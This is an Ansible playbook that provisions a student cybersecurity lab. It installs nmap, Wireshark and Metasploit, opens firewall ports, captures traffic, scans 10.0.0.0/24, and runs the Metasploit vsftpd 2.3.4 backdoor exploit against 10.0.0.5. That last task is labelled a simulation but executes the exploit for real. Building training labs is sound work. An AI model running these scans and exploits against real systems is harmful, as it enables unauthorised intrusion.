# Deliver safe, isolated environments for students to practice penetration testing, 
# network security, and encryption — with access to real tools like Wireshark, 
# Metasploit, and firewalls in a secure sandbox.

- name: Tiaspaces Cybersecurity Lab
  hosts: all
  become: yes
  tasks:
    - name: Update & install essential security tools
      apt:
        name:
          - nmap
          - wireshark
          - metasploit-framework
          - ufw
          - net-tools
        state: present
        update_cache: yes

    - name: Enable and configure UFW firewall
      ufw:
        rule: allow
        port: "22"
        proto: tcp

    - name: Allow HTTP traffic
      ufw:
        rule: allow
        port: "80"
        proto: tcp

    - name: Start Wireshark in background (headless capture)
      shell: nohup tshark -i eth0 -w /tmp/capture.pcap &

    - name: Perform basic nmap scan
      shell: nmap -sS -Pn 10.0.0.0/24 > /tmp/nmap_scan.txt

    - name: Simulate Metasploit usage (pseudo-commands)
      shell: |
        msfconsole -q -x "
        use exploit/unix/ftp/vsftpd_234_backdoor;
        set RHOST 10.0.0.5;
        run;
        exit"
      args:
        executable: /bin/bash

    - name: Display scan and capture file locations
      debug:
        msg: |
          Nmap results: /tmp/nmap_scan.txt
          Wireshark capture: /tmp/capture.pcap